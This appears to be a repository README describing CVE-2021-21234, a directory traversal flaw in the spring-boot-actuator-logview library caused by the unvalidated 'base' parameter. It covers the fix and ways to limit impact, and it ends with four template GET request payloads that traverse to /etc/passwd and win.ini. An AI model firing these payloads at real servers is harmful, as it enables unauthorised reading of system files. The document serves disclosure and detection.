xiaojiangxl/cve-2021-21234
CVE-2021-21234 Spring Boot Directory Traversal
spring-boot-actuator-logview adds a simple log file viewer as a spring boot actuator endpoint in a library. It is the maven package "eu.hinsch:spring-boot-actuator-logview". A directory traversal vulnerability exists in spring-boot-actuator-logview prior to version 0.2.13. The essence of the library is to expose the log file directory via the admin (spring boot actuator) HTTP endpoint. The filename to view and the base folder (relative to the log folder root) can both be specified via request parameters. While the filename parameter is checked to prevent directory traversal attacks (so filename=../somefile will not work), the base folder parameter is not sufficiently checked, so filename=somefile&base=../ can access files outside the logging base directory. The vulnerability has been patched in version 0.2.13. Any user of 0.2.12 should be able to update without problems, as there are no other changes in that version. Apart from updating or removing the dependency, there is no workaround for this vulnerability. However, removing read access to any directories that the running application does not need can limit the impact. Additionally, access to the logview endpoint can be restricted by deploying the application behind a reverse proxy.
eu.hinsch.spring.boot.actuator.logview.LogViewEndpoint#view
The view function validates the filename parameter, but does not validate the base parameter.
GET path:
- "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # Windows
- "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # windows
- "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux
- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux